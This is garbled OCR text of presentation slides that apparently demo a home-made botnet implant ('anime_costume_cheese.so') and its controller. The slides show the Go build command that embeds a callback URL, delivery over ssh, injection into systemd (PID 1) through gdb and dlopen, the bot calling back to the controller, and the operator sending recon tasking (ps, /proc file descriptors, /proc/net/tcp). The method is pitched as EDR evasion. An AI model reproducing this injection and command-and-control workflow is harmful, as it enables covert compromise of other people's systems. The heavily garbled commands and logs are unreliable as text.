S https://not-hdx.lol/SID Cur‘ ‘f’ / ' ‘

.-"'J
—— e

~~
n

S

github.com/magisterquis/demobotnetcontroller




Not Quite Curl in a Loop
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Not Quite Curl in a Loop

The ldea:

e Inject HTTP-in-a-Loop into one process

4t am

https://github.com/magisterquis/anime_costume_cheese
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Not Quite Curl in a Loop

The ldea:

e Inject HTTP-in-a-Loop into one process

4t am

https://github.com/magisterquis/anime_costume_cheese

=
pr
—
o
w
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Not Quite Curl in a Loop

The ldea:

e Inject HTTP-in-a-Loop into one process
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Not Quite Curl in a Loop

The ldea:

e Inject HTTP-in-a-Loop into one process
e Shell stdio via process one
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Not Quite Curl in a Loop

The |ldea:

e Inject HTTP-in-a-Loop into one process
e Shell stdio via process one

The Why:

e Geelparytrek Definitely necessary and

not contrived EDR evasion
e Don't really care who makes syscalls as
long as they work
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anime_costume_cheese. so - Botnet Listener

& @ Demobotnetcontroller - Listener Mot Yet Started TH2

[stuart®ops . not-hix. 1ol |
i desobotnetcontraller | jg
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anime_costume_cheese. so - Botnet Listener

] @ Demobotnetcontroller - Listener Started TH2
[stuort®ops  not-héx. 1ol : A ]
§ desobotnetcontroller | jq
{

TimeET

“lewel™: "IN

"Fimgerprint

oddress™: "

PID": 4972,

dir ory™

-~ ny oo
1
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anime_costume_cheese.so - Compilation

@ © @ Build Box - Building and Injecting TEl ® © @ Dpemobotnetcontroller - Listener Started TH2
[stuort®build: Mose stusrt/ominecostume chepsa] [stuort®ops . not-hdx. Lol : Some stuort ]

| § CG0_CFLAGS=" IISRE“.EGD..S-THT FLMS-SR’EH_SHS LINL IHK | SREM_SRS_RMELF* | § desobotnetcontroller | jq

= go build % i

1 -buildmode c-shared % “time®: “2025-11-20T00:04:29 B5TST1254+01:087,

E -ldflags '-X main.Fingerprint=xTTVmYLImepbAbY ey TIMRALIALSFAITTONS2LE Tw= "level™; "INFO",

| > -% main.URL=https://10, 114 .8, 5:4433/bots’ "msg": "Server storting”,

"fingerprint”: "aTTVaYL1%kmepbAbYey/ TIMRAL14Z5FA I ToWSZLE Twe=" ,
“oddress®: “0.0.0.0:4433"

"FIDT: 49792,

"directory™; "descbotnet”,

“prefix": “/bots/™

330



anime_costume_cheese.so - Compilation

@ © @ Bulld Box - Bullding and Injecting X1

| [stuort@build: Moss stuert/ovise costume chapsa)

J § CGO_CFLAGS="-DSREM_CGO_START_FLAGS=SREM_SR5_UNLINK|SREM_SRS_RMELF" *
» go build %

> -buildmode c-shared . . .

1> -ldflags |-X main.Fingerprint=xTTVmYLIMmepbAbYey TIMRALI4ZSFATF T oWS2LE Tw=

.. X main.URL-https://19.114.0. 5:4433/bots’

® @ Demobotnetcontroller - Listener Started THZ

[stuort®ops . not-hdx. Lol : Some stuort ]

5 desobotnetcontroller | jq

i
“time®: "2025-11-20700: 0429 B57S71254+01:90°,
"lewal™; "INFO",
"msg": "Server storting”,

SFingerprint : "alivmtLIgkmepGADT ey, LIMRALIAZSFATF TONSZLE =",

"oddress®: “0.0.0.0:4433",

“FID": 49702,
"directory™; "descbotnet”,
“prefix": “/bots/™

1
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anime_costume_cheese.so - Compilation (sneaky)

@ @ Bulld Box - Bullding and Injecting TE1 0] @ Demobotnetcontroller - Listener Started T2
[stuort@build: r e pxn ] [stuort®ops . not-hdx. Lol : Some stuort ]
§ CGO_CFLAGS="-DSREM_CGO_START_FLAGSSREM_SRS_UNLINKTSREM_SRS_RMELF] § desobotnetcontroller | iq
» go build % i
| > ~buildmode c-shared % “tima®: “ 11-20T00: 3429 B57571254+01: 9@,
* -ldflags "-X main.Fingerprint=xTTV¥mYLIAmepbAbYey TIMRALI4ZSFAIFTONSZLE Poe "leval™; .
> =X main.URL=https://10.114.0. 5:4433/bots’ "msg": "Server storting”,
"fingerprint”: "aTTVmYL39kmepBAbY ey TIMRAL14ZSFA I TONSZLETw=",
Toddress”: B.Q.0.0044357
“PID": 49702,
"directory™; "descbotnet”,
sorefix®: “/botss®
1
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anime_costume_cheese.so - Upload

@ © @ Bulld Box - Bullding and Injecting X1

| [stuort@build: Moss stuert/ovise costume chapsa)
J § CGO_CFLAGS="-DSREM_CGO_START_FLAGS=SREM_SR5_UNLINK|SREM_SRS_RMELF" *
» go build %
= -buildmode c-shared %
ES -ldflags *-X main.Fingerprint=xTTVmYLIMmepBAbYey TIMRALIALSFATFTONS2LE Tw=
> -% main.URL=https: /710,114 .8, 5:4433/bots’
[stuort@build: SoesS stusrt arime_costume_chease]
i ssh vietim.not-hax.lol 'eot|s/run/user/180@/ anime_costume_cheese|

i.
|

B ! | canime_costume_cheese,

® @ Demobotnetcontroller - Listener Started THZ

[stuort®ops . not-hdx. Lol : Some stuort ]
§ desobotnetcontroller | g
i
“time®: “2025-11-Z0700: 0429 B57571254+00 9@,
"level™: "INFO",
"msg”: "Server stoarting”,
"Fingerprint®: “aTTWnYL3TkmepbAbY ey TIMRALT4Z5FA JF ToWSZLEPr="" |
“oddress®: “0.0.0.0:4433"
"FIDT: 49792,
"directory™; "descbotnet”,
“prefix": "/bats/

1
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anime_costume_cheese. so - Injection

@ © @ Bulld Box - Bullding and Injecting TEl

| [stuort@build: Moss stuert/ovise costume chapsa)
J § CGO_CFLAGS=" -DSREM_CGO_START _FLAGS=SREM_SES_UNLINK|SREM_SRS_RMELF' %
» go build
S -buildmode c-shared %
-ldflags '-X main.Fingerprint=xTTVmYL3MmeptAbYey TIMRALIALSFATFTONSZLE Mo
=% main.URL=https://10.114.0. 5:4433/bots’
stuart@bhuild: ShoesS stusrt arime_costume_chease]

B
l =
I
]i ssh victim.not-hdx. lol 'cot >/runfuser/1008/anime_costume_cheese !‘.&a._euf
1! .
] >
| Ed

attach 1
rint (void *)dlopen(”/run/user/1986 /anime_costume_cheese™, 2)
-eof' canime_costume_cheese

® @ Demobotnetcontroller - Listener Started THZ

[stuort®ops . not-hdx. Lol : Some stuort ]
§ desobotnetcontroller | g
i
“time®: “2025-11-20T00:04:29 B5TST1254+01:087,
"level™; "INFO",
"msg": "Server storting”,
"Fingerprint”: "aTTVeYL3%mepbAbYey/ TIMRAT 14T SFAIF TOWS2LEPIe="
“oddress”i “B.0.0.@:4433",
"PID": 49702,
"directory™; "descbotnet”,
“prefix": "/bats/

1
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anime_costume_cheese. so - Hit the enter button...

@ ¢ @ Bulld Box - Building and Injecting TEl (] @ Demobotnetcontroller - Listener Started T2
[stuort®huiTd: Thoss stus [stuort®ops . not-hdx. Lol : Some stuort ]

§ OGO EFLM&-'—DSHEH.EGDJT#RT FI.AES-SR‘:'H_SHS LﬂLlHKISREH.SRS RMELF" % 5 desobotnetcontroller | jq

(= go build M i

1 ~buildmode c-shared % “time®: “2025-11-Z0700: 0429 B57571254+00 9@,

| = -ldflags '-X main.Fingerprint=xTTVmYL3IMmepbAbYey TIMRALIALSFATFTONS ZLE Mo "level™: "INFO",

£ -X main. thL—https .-".Flﬁ 114, B 5:4433/bots’ "msg": "Server storting”,

[stuart@build: M st usrt o ms Lime "fingerprint”: "aTTVaYL1%kmepbAbYey/ TIMRAL14Z5FA I ToWSZLE Twe=" ,
§ ssh victim.not-hdx.lol 'cat :frm.fuserﬂmxmim_mstm_:mn &L sudo gdb <<_eof “oddress®: “0.0.0.0:4433"

| = attoch 1 "PID": 49702,

 » print (void *)dlopen{”/run/user/1088/anime_costume_cheese™, 23 "directory™; "descbotnet”,

| » _pof' canime_costume_cheese “prefix": "/bats/

GNU gdy (Debian 16.3-1) 16.3 1
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anime_costume_cheese. so - Init-ial Success

@ © @ Bulld Box - Bullding and Injecting X1

| [stuort@build: Moss stuert/ovise costume chapsa)

§ CGO_CFLAGS=" -DSREM_CGO_START _FLAGS=SREM_SES_UNLINK|SREM_SRS_RMELF' %

» go build %

S -buildmode c-shared %

ES -ldflags '-X main.Fingerprint=xTTVmYL3MmeptAbYey TIMRALIALSFATFTONSZLE Mo
» -% main.URL=https://10, 114 .8, 5:4433/bots’

[stuort@build: SoesS stusrt arime_costume_ chease]

§ ssh victim.not-hdx.lol 'cot »/runfuser/1008/onime_costume_cheese &b sudo gdb << _eof
» attach 1

L= print (void *)dlopen(”/run/user/1088/anime_costume_cheese™, 23

(> _eof' <anime_costume_cheese

LGN gdb (Debian 16.3-1) 16.3 )

@ © @ Bulid Box - Attaching Worked X1

[ o) Mboching to process 1
| Reoding symbols from Jusre/lib/systemd/systemd. ..
" (Mo debugging symbols found in fusr/lib/systesd/systemd)

® © @ Dpemobotnetcontroller - Listener Started T2

[stuort®ops . not-hdx. Lol : Some stuort ]
§ desobotnetcontroller | g
i
“time®: “2025-11-20T00:04:29 B5TST1254+01:087,
"level™; "INFO",
"msg": "Server storting”,
"fingerprint”: "aTTVeYL3%kmepbAbY ey TIMRAT 14T SFA FF ToWS2LEPm=" ,
“oddress®: “0.0.0.0:4433"
"PID": 49702,
"directory™; "descbotnet”,
“prefix": "/bats/

1
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anime_costume_cheese.so - Our Threads

[ B mnm Euﬂdm-ﬂlﬂuﬂng X1

[5tuurtﬂbu11d I"Il:ﬂt'f't'l.Ll-\ rt/omine_ costumn, o hon Ln]

§ CGO_CFLAGS=" D’SRBLEGD_ETART_FLAE&-SMS UMLIHK | SREM_SRS_RMELF' %

> go build

> -buildmode c-shared

ES -ldflegs '-% main.Fingerprint=xTTVmYL3%meptAbYey/ TIMRALIAZSFATFTONS 2LE Po=
= =X main.URL=https:/F10.114.0.5:4433/bots"

[stuort@build: SoesS stusrt arime_costume_ chease]
§ ssh victim.not-hdx.lol 'cot »/runfuser/1008/onime_costume_cheese &b sudo gdb << _eof
» attach 1
= print (void *)dlopen(™/run/user/1088/anime_costume_cheese™, 23
= _eof' <anime mstum_duue
GNU gdb (Debion 16.3-1) 16

I ¢ @ Bulid Box - Attaching Worked

(gtlﬂ li:i:udnm to process 1
1nmdtm symbols From Jusr/lib/systend/systend. .
(_Nn debugging symbols found in fusrﬂxb.—"systﬂd.fsy:tmd)

@ © @ Build Box - injected Threads Started

' [New Thread @x7f22edB176c0 (LWP 1218)]
[New Thread Ox7f22alfff6cd (LWP 1221))

= (void *) @x35fbdb3ch??a

® @ Demobotnetcontroller - Listener Started T2

[stuart®ops.not-héx. lol: Mhome/stioart ]
§ desobotnetcontroller | g
{
“time®: "28J5-11-20700: D429 BRTE71254+01: 007,
"level™: "INFD",
"msg": "Server storting”,
"Fingerprint®: “aTTWnYL3TkmepbAbY ey TIMRALT4Z5FA JF ToWSZLEPr="" |
“oddress®: “0.0.0.0:4433"
"PID": 49782,
"directory™; "descbotnet”,
“prefix": "/bats/
1

T
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anime_costume_cheese. so - Called Back

[ B mnm Euﬂdm-ﬂlﬂuﬂng X1

[5tuurtﬂbu11d I"Il:ﬂt'f't'l.Ll-\ rt/omine_ costumn, o hon Ln]

§ CGO_CFLAGS=" D’SRBLEGD_ETART_FLAE&-SMS UMLIHK | SREM_SRS_RMELF' %

> go build

> -buildmode c-shared

ES -ldflegs '-% main.Fingerprint=xTTVmYL3%meptAbYey/ TIMRALIAZSFATFTONS 2LE Po=
= =X main.URL=https:/F10.114.0.5:4433/bots"

[stuort@build: SoesS stusrt arime_costume_ chease]
§ ssh victim.not-hdx.lol 'cot »/runfuser/1008/onime_costume_cheese &b sudo gdb << _eof
» attach 1
= print (void *)dlopen(™/run/user/1088/anime_costume_cheese™, 23
= _eof' <anime mstum_duue
GNU gdb (Debion 16.3-1) 16

I ¢ @ Bulid Box - Attaching Worked

(gtlﬂ li:i:udnm to process 1
1nmdtm symbols From Jusr/lib/systend/systend. .
(_Nn debugging symbols found in fusrﬂxb.—"systﬂd.fsy:tmd)

@ © @ Build Box - injected Threads Started

' [New Thread @x7f22edB176c0 (LWP 1218)]
[New Thread Ox7f22alfff6cd (LWP 1221))

= (void *) @x35fbdb3ch??a

® @ Demobotnetcontroller - Gota Bot T2

[stuart®ops.not-héx. lol: Mhome/stioart ]
§ desobotnetcontroller | g
{
“time®: “2025-11-Z0700: 0429 B57571254+00 9@,
"level™: "INFO",
"msg": "Server storting”,
"Fingerprint”: "sTTVeYL3%mepbAbYey/ TIMRAT TATSFA I ToWS2LET=" ,
“oddress®: “0.0.0.0:4433"
"PID": 49702,
"directory™; "descbotnet”,
“prefix": “/bots/™
}
i
"time": "2025-11-20700: 8443 183070848401 00",
"level™: "INFQ",
“msg”: “Mew 10",
"request”: |
"remote_oddress®: “10,114, 9 4402407,
"method” = "GET™,
“host™: “108.114.0.5:4433"%,
"request_uri™! "/botsfvictim-uld-@-pid-1-123t@ayspayea”,
“user_pgent™: “Go-http-client/1.1"
L

"1d™: "victim-uid-@-pid-1-123t0oyspbvaa”

S —
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Demobotnetcontroller - Tasking

8 @ Demobotnetcontroller - Got a Bot T2

= H1
[ ] @ OpsBox Bn'erﬁlnﬂ [stuartfops . not-héx. 1ol : Mhome stuart]

[stuartBops. not-hix . 1ol [ home =T .ii aLnet, 5 desobotnetcontroller | jq

§ cot =victim-uld-@-pid- l-letBurﬁpEv‘}B tq: Py euf‘

> ek -x “time®: “2025-11-Z0700: 0429 B57571254+00 9@,
> ps owwfux *lovel™: "INFO",

= 1s =1 /proc/l/fd Fproc/$5/fd "msg”: "Server storting”,

= cat <fproc/netitep “Fingerprint”: “sTTVeYL3%mepbAbYey/ TIMRAL 147 5FA JF TOWS2LET=" ,
= _eof "utlr.-'rl 85 "0.0.0.8:4435%

[stidrt@aps  not-hdx . Lol : Mhome s tuart/demobotnet ] "PID": 19?&2.

3 mé -v victim-uld-@-pid-1- lzﬂtﬂﬂymﬁm {tw task} [‘directory”:
victim-uid-@-pid-1-123tBayspbvdd_tmp -= victim-uid-@-pid-1-123880ysphvdd_tosk “prefix’i "/

[stuort®ops , not-hdx . Lol ; /homes s tuart S demobotnet ] 1

) i

“time™: "2025-11-207T00: 0443 18307084801 00
"level™: “INFO"
“msg”: "New ID",
"request”: |
“remote_oddress®: “10,114 @ 4:482407,
"method”: “GET,
“host™: "10.114.9.5:4433"%,
“reguest_uri T Y/botsAvictin-uld-8-pld-1-1r3t@ayspbyoa”
“user_pgent™: “Go-http-clients/1.1

Ll

h

*1d™: “wictim- itd-@-pid-1-1r3tBayspbvdd
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Demobotnetcontroller - Tasking

@ © @ OpsBox - Botherding 1

[stuartBops, not-hdx, 1ol :,
3 cat svickin-uld-0-pid-1-
set -x

ps owfux

ls -1 /proc/1/fd /proc/8S/fd

cat </proc/netitep

= _pof

[stuort@®ops. not-hdx. Lol : Mhomes stuart /demobotnet ]

5 mv -v victism-uld-@-pid-1-1z3t8aoyspbvod_{tmp, task}

| victim-uid-@-pid-1-1z23t@ayspbvda_tmp -> victim-uid-@-pid-1-1z3tBoysphvdd_task
[stuort®ops , not-hdx . Lol ; /homes s tuart S demobotnet ]

3

hiome' =t uart /demobotnet]

1z3t0ayspbvad| trp <<’ _eof"

L

8 @ Demobotnetcontroller - Got a Bot T2

[stuort®ops . not-hdx. Lol : Some stuort ]
5 desobotnetcontroller | jg
i
“time®: "28J5-11-20700: D429 BRTE71254+01: 007,
"lewal™:; "INFO",
"msg”: "Server stoarting”,
"Fingerprint”: "aTTVeYL3%mepbAbYey/ TIMRAT 14T SFAIF TOWS2LEPIe="
Toddress”: B.0.0.0:44337,
"PID": 49782,
"directory™; "descbotnet”,
“prefix": "/bots/"

ey el

“time™: "2025-11-207T00: 0443 18307084801 00
"Level™: "INFO",
“msg”: "New ID",
"request”: {
“remote_oddress®: “10,114 @ 4:482407,
"method”: “GET,
“hostT: TI0.114.0.5:44337,
'|'4.-|4uﬂﬂ'_ur"|": "ieotsSvictim-uld-8-pid-1 1z 3tdayspbyoa™
“user_pgent™: “Go-http-client/1.1"

"

h

GETGE ] s
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Demobotnetcontroller - Tasking

@ 0 @ OpsBox - Butherding

[stuartBops, not-hdx, 1ol ;

% cot svictim-uid-B{pid-1]

e
> ps owafux

mome ot uart S demobo 1|'|.._|,'|

-1z3tauyspﬁm top <<

=115 -1 sproc/1/fd fproc/$5/fd

> cat </proc/netitep
» _eof

[stuort@®ops. not-hdx. lol:
3 mv -v victim-uld-8-pid-1- lzﬂtﬂﬂymﬁm {tw task}
victim-uid-@-pid-1-1z23tBayspbvda_tmp -> wvictim-uid-8-pid-1-1z3tBoysphvdd_task
[stuort®ops , not-hdx. lol:
3

Fomme S S tuart mobotnet ]

home 5 tuartS demobotnet ]

_eaf’

e

0] @ Demobotnetcontroller - Got a Bot

[stuart®ops . not-hdx. Lol : Shome s

§ desobotnetcontraller | g
i
“time*: “2025-11
"level™: "INFO",
ﬁd:-'ur._l".'- "Server storting’ ;

"fingerprint”:

"FIDT: 49792,
"directory™:

“prefix":

"demgbotnet

et

}
i
“time": "28945-11
"level™: “INFO"
“msg”: "New ID",
"request”: |
"remote_oddress®: 10,1
"method”: “GET,

ThostTi T10.114.9. 544337,

“reguest_urT: "

“user_pgent™: “Go-http-cli

h

"1d": “wictim-uid-@-pid-1

2OTR0: P

29 _B5TE71254+00: 09

2T TWmYL 3T kmepbAbYey
“oddress T T0.Q.0.0:44337

JOTRE: A 43 1

tLazr :'J

14,80, 44070487 |

botsAvictim-uld-B-pid-1

entsl.1

Moy spbvdd

[IMRAT 1

HIATRA48 0100

1 ISFA LT

Ll

TH2

TONS2LEPme="

1z 3tdayspbyoa™
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Demobotnetcontroller - Tasking

@ @ Ops Box - Botherding 1

[stuartBops. not-hdx, Lol ; /home/ stuart/demobotnet ]
§ cot =victim-uld-@-pid-1-1z3t@ayspbvid_top <<’ _eof’
set -x
ps owfux
ls -1 /proc/1/fd /proc/8S/fd
cat </proc/netitep
_eof
[stuort@®ops. not-hdx. Lol : Mhomes stuart /demobotnet ]
$[me v victim-uld-B-pid-1-1z3t0ayspbvdd_{tmp taskl — |
Victim-uid-8-pid-1-123tbayspbv_tmp —> victim-uid-8-pid-1-1z3t0ayspivdd_task]
| [stuort®ops, not-hdx., Lol ; Shomes s tuart/demobotnet ]
3
i

L A

[ ] @ Demobotnetcontroller - Got a Bot T2

[stuort®ops . not-hdx. Lol : Some stuort ]
§ desobotnetcontroller | g
{
“time®: “2025-11-Z0700: 0429 B57571254+00 9@,
"level™: "INFO",
"msg”: "Server stoarting”,
"Fingerprint”: "sTTVeYL3%mepbAbYey/ TIMRAT TATSFA I ToWS2LET=" ,
“oddress”: “0.0.0.0:4433°
"PID": 49702,
"directory™; "descbotnet”,
“prefix: “sbotss”
}
i
“time": "2025-11-207T00: 443 18IATOA4E-00 00",
"Level™: "INFO",
“msg”: "New ID",
"request”: |
“remote_oddress®: “10,114 @ 4:482407,
"method”: "GET™,
"host™: “18.114.0.5:4433%,
"reguest_uri™: “/botsAvictin-uld-@-pid-1-1z3t@ayspbvoa”,
“user_pgent™: “Go-http-client/1.1"
| 8
"1d": “wictim-uld-@-pid-1-123tBayspbvda

1
B
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Demobotnetcontroller - Tasking

@ 0 @ OpsBox - Butherding

[stuartBops. not-hdx, Lol ; /home/ stuart/demobotnet ]

§ cot =victim-uld-@-pid-1-1z3t@ayspbvid_top <<’ _eof’
» et -x

> ps owefux

»1s -1 fproc/l/fd /fproc/$8/fd

> cat </proc/netitep

» _eof

[stuort@®ops. not-hdx. Lol : Mhomes stuart /demobotnet ]

3 mv -v victim-uld-8-pid-1- lzﬂtﬂﬂymﬁm {tmp, task}
victim-uid-@-pid-1-1z23tBayspbvda_tmp -> wvictim-uid-8-pid-1-1z3tBoysphvdd_task
[stuort®ops , not-hdx . Lol ; /homes s tuart S demobotnet ]

3

e

1
£

e

sg"1 "New ID"

@ Demobotnetcontroller - Sent Tasking

quest”: {

"remote_oddress": “10.114.@_4:402407
"method”: “GET™,

% 14 c e

"hast": “10.114,0.5:4433"

-I'H]IJH".'I._IJI'Iﬁ: "ibotsSvict in-und-B-p1d-1

“user_apgent™: “Go-http-clients1.1°

}l

=i d"

"ti

“remote_oddress”: “10,114.0 4:48240"

me*: “2825-11-207T08: 94 ;54 17617043

"level: "INO",
L=g : ing )
"request”: {

"method™: “GET™,

host": "10.114.8.5:4433"7,

"request_uri™: "/botsAvictim-uld-@
“usar_ogent”: “ho-hittp-clientsl

8

“id":

grid-1

victim-uid-@-pid-1-1z3thayspovaa

+ ovictim-utd-@-pid-1-123tayapbvar

13+ |

L]

v

TH2

1z 3tdayspavaa”

Lz 3tdoyspbwad”,
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Demobotnetcontroller - Output

@ © @ OpsBox - Botherding 1
[stuartBops. not-hdx, Lol ; /home/ stuart/demobotnet ]

§ cot =victim-uld-@-pid-1-1z3t@ayspbvid_top <<’ _eof’

set -x

ps owfux

ls -1 /proc/1/fd /proc/8S/fd

cat </proc/netstop

» _eof

[stuort@®ops. not-hdx. lol:
3 mv -v victim-uld-8-pid-1- lzﬂtﬂﬂymﬁm {tw task}
victim-uid-@-pid-1-1z23tBayspbvda_tmp -> wvictim-uid-8-pid-1-1z3tBoysphvdd_task
[stuort®ops , not-hdx. lol:
3

L

Fomme S s tuart mobotnet ]

home 5 tuartS demobotnet ]

"remote_oddress": T18.1

@ Demobotnetcontroller - Got Dutput

14,9 4407487,

"method”: "GETT,

“"host™: "18,114.0,5:4433"
“request_wei™ "
“user_oagent”: “Go-http-cl

L
tim-und-B-pid-1
et ]

bots/vic

i

"1d": “wictim-uld-Q-pid-1-1r3tBayspbvda”,
“"size®: €5,

"durgtion™: "Ims"

1

£
"ti
"'le

I“l"

me“: “2@25-11-207T08: 0458, 19518745301 : b8
\.re'l" T

l.] |

quest™: |

“remote_oddress”: T10,114.0_ 4:48240",

"method”: "POST",

"request_uri”

host": "18.114.0.5:4433"7,

botsfvictim-uld-B-pid-1

“usar_ogent™: “Oo-http-clientsl

L
“id:

-|l.‘|." .-I.J'."l.ll.. 1 ]...-l.l'."\.-r.-|.||.lﬂ ¥

1z3tdoyspovdd

v

TH2

Lz 3tdoyspbwad”,
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Demobotnetcontroller - Output

@ © @ OpsBox - Botherding 1
[stuartBops. not-hdx, Lol ; /home/ stuart/demobotnet ]

§ cot =victim-uld-@-pid-1-1z3t@ayspbvid_top <<’ _eof’

set -x

ps owfux

ls -1 /proc/1/fd /proc/8S/fd

cat </proc/netstop

» _eof

[stuort@®ops. not-hdx. lol:
3 mv -v victim-uld-8-pid-1- lzﬂtﬂﬂymﬁm {tw task}
victim-uid-@-pid-1-1z23tBayspbvda_tmp -> wvictim-uid-8-pid-1-1z3tBoysphvdd_task
[stuort®ops , not-hdx . lol:
3 cot victim-uid-@-pid-1-1z3tQayspivid

L

Fomme S s tuart mobotnet ]

homme S 5 tuartS demobotnet ]

"remote_oddress": T18.1

@ Demobotnetcontroller - Got Dutput

14,9 4407487,

"method”: "GETT,

“"host™: "18,114.0,5:4433"
“request_wei™ "
“user_oagent”: “Go-http-cl

L
tim-und-B-pid-1
et ]

bots/vic

i

"1d": “wictim-uld-Q-pid-1-1r3tBayspbvda”,
“"size®: €5,

"durgtion™: "Ims"

1

£
"ti
"'le

I“l"

me“: “2@25-11-207T08: 0458, 19518745301 : b8
\.re'l" T

l.] |

quest™: |

“remote_oddress”: T10,114.0_ 4:48240",

"method”: "POST",

"request_uri”

host": "18.114.0.5:4433"7,

botsfvictim-uld-B-pid-1

“usar_ogent™: “Oo-http-clientsl

L
“id:

-|l.‘|." .-I.J'."l.ll.. 1 ]...-l.l'."\.-r.-|.||.lﬂ ¥

1z3tdoyspovdd

v

TH2

Lz 3tdoyspbwad”,
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anime_costume_cheese.so - ps awwfux

& ® vim - ps awwfux i1
+ ps awwfux

USER PID %CPU %MEM VsZ RSS TTY STAT START TIME COMMAND

root Z 0.2 9.0 @ @7 5 22:58 ©0:0@ [kthreadd]

root 3 0.0 0.0 @ @7 5 22:58 @:0@ “_ [pool_workqueue_releagse]

er SO

root 615 0.8 0.0 @ L 5 22:58 ©@:0@ “_ [psimon]

root 1 @.5 2.8 17901672 27896 7 5sl 22:58 @:02 /shinfinit

root 264 9.8 1.7 51852 16840 ? Ss 22:58 @:00 usr/lib/systemd/systemd-journald
... STp...

root 1238 0.0 0.0 @ ez Is  23:00 0:00 [systemd-user-ru] <defunct>

root 1239 0.0 0.¢ @ @7z Fd 23:00 0:00 [(sd-close)] <defunct>

root 1251 0.0 9.1 7680 1844 7 5 23:04 0:00 7

root 1252 0.0 9.3 6404 3900 7 R 23:84 9:00 “_ ps awwfux

1,1 Top
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anime_costume_cheese.so - ps? aww, fux

& ® vim - ps awwfux i1
+ ps awwfux

USER PID %CPU %MEM VsZ RSS TTY STAT START TIME COMMAND

root 2 0.8 0.@ @ ez L 22:58 ©0:0@ [kthreadd]

root 3 0.0 0.0 @ @7 5 22:58 @:0@ “_ [pool_workqueue_releagse]

er SO

root 615 9.0 0.0 @ @7z S 22:58 ©9:80 “_ [psimon]

root 1 .5 2.8[1701672 27896|? Ssl 22:58 0:02|/sbin/init |

root 264 9.8 1.7 51852 16848 ? Ss 22:58 @:00 usr/lib/systemd/systemd-journald
...SNip. ..

root 1238 0.0 0.0 @ ez Is  23:00 0:00 [systemd-user-ru] <defunct>

root 1239 0.0 0.¢ @ @7z Fd 23:00 Q.00 [(sd—close)] <defunct>

root 1251 0. 9.1 2680 1844 7 S 23:04  0:00 7

root 1252 0.9 9.3 o494 3900 7 R 23:84 9:00| “_ ps awwfux

1,1 Top
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anime_costume_cheese.so - /proc things

o] @ vim - File Descriptors and Metwork Sockats o
+ 1z -1 fproc/1/fd /proc/1251/Fd
Fproc/1/fd;
total @
lrwx-==-== 1 root root B4 Mov 19 Z2:58 @ -> Sdev/null
Lrwx------ 1 root root 64 Nov 19 22:58 1 -»= Sdew/mull
. .sntp...
lr-x------ 1 root root B4 Mov 19 23:90 120 -> pipe:[8847]
««SOLP. ..
Lrwg====== 1 root root 64 Mov 19 22:58 2 -> Sdev/null
s o SOAP. <
Lrwa====== 1 root root 64 Nov 19 23:02 35 -» socket:[BE45]
.y £ TR
Jproc/1251/fd:
total @
ir-®------ 1 root root 64 Nov 19 23:04 @ -> pipe:[8846)
l-wpi--=-=-= 1 root root 64 Mov 19 23:04 1 -» pipe:[8B47]
L-Wa===mmm 1 root root 64 Nov 19 23:84 2 -> pipe:[8847]
+ cat
sl local_address rem_oddress st tx_gueue rx_gueue tr tm->when retrasmt  uid  timeout inode
o AP, :
5: B4DOTI0A:9030 A500TI0A:1151 01 OOEDOGEA:00M0BI0E 02 :DOGBOSIM POAGEHI0 @ @ EB345 3 S0DOOIOB49657dbE 29 4 31 18 -1

1,1 All
T EEEEE————j=—
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anime_costume_cheese.so - Shell -pipe-> Systemd

o] @ vim - File Descriptors and Metwork Sockats o
+ 1z -1 fproc/1/fd /proc/1251/Fd
Sproc/lsid:
total @
lrwx------ 1 root root 64 Nov 19 22:58 @ -» /dev/rull
Lrwx------ 1 root root 64 Nov 19 22:58 1 -» /dew/mull
.snip... S S
lP-x------ 1 root root B4 Mov 19 23:901129 -> pipe:[8847]
- STLPL ..
lrwx=-=--= 1 root root 64 Nov 19 22:58 2 -> /Adev/null
s o SOAP. <
Lrwa====== 1 root root 64 Nov 19 23:02 35 -» socket:[BE45]
.y £ TR
Jproc/1251/fd:
total @
lr-x-----—- 1 root root 64 Mov 19 23:94 @ -> pipe:[8846]
L= mmmmm 1 root root 64 Mov 19 23:04 1 -> pipe:[8847]
1-wx------ 1 root root 64 Nov 19 23:94 2 -> pipe:[8847]
+ cat g 3
sl local_address rem_oddress st tx_gueue rx_gueue tr tm->when retrasmt  uid  timeout inode
co SRy
5: B4087204:9030 @5007204:1151 91 DOGDO0O0:0DODI0E 02 DOGSOSHH D0BALO0E & @ E345 3 p0000BOB42657dbE 28 4 31 18 -1

1,1 All
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anime_costume_cheese.so - Systemd -HTTPS-> Us

o] @ vim - File Descriptors and Metwork Sockats o
+ 1z -1 fproc/1/fd /proc/1251/Fd
Sproc/lsid:
total @
lrwx------ 1 root root 64 Nov 19 22:58 @ -> Jdev/null
Lrwx------ 1 root root 64 Nov 19 22:58 1 -»= Sdew/mull
v SMLP. ..
lP-x------ 1 root root B4 Mov 19 23:90 129 -> pipe:[8847]
- STLPL ..
lrwx------ 1 root root 64 Nov 19 22:58 2 -» /dev/null
s o SOAP. < .
Lrwa====== 1 root root 64 Nov 19 23:02 (35 -» socket:[BE45]
.y £ TR
Jproc/1251/fd:
total @
ir-®------ 1 root root 64 Nov 19 23:04 @ -> pipe:[8846)
e 1 root eoot 64 MNov 19 23:04 1 -» pipe:[8B47]
1-wx------ 1 root root 64 Nov 19 23:94 2 -> pipe:[8847]
+ cat
sl local_address rem_oddress st tx_gueue rx_gueue tr tm->when retrasmt  uid  timeout inode
co SRy
5: B4087204:9030 @5007204:1151 91 DOGDO0O0:0DODI0E 02 DOGSOSHH D0BALO0E @ @ BB45 3 S0DODDOEB49657dbE 20 4 31 1B -1

1,1 All

350



anime_costume_cheese.so - Why the name?

o] @ vim - File Descriptors and Metwork Sockats o
+ 1z -1 fproc/1/fd /proc/1251/Fd
Fproc/1/fd;
total @
lrwx-==-== 1 root root B4 Mov 19 Z2:58 @ -> Sdev/null
Lrwx------ 1 root root 64 Nov 19 22:58 1 -»= Sdew/mull
. .sntp...
lr-x------ 1 root root B4 Mov 19 23:90 120 -> pipe:[8847]
««SOLP. ..
Lrwg====== 1 root root 64 Mov 19 22:58 2 -> Sdev/null
s o SOAP. <
Lrwa====== 1 root root 64 Nov 19 23:02 35 -» socket:[BE45]
.y £ TR
Jproc/1251/fd:
total @
ir-®------ 1 root root 64 Nov 19 23:04 @ -> pipe:[8846)
l-wpi--=-=-= 1 root root 64 Mov 19 23:04 1 -» pipe:[8B47]
L-Wa===mmm 1 root root 64 Nov 19 23:84 2 -> pipe:[8847]
+ cat
sl local_address rem_oddress st tx_gueue rx_gueue tr tm->when retrasmt  uid  timeout inode
o AP, :
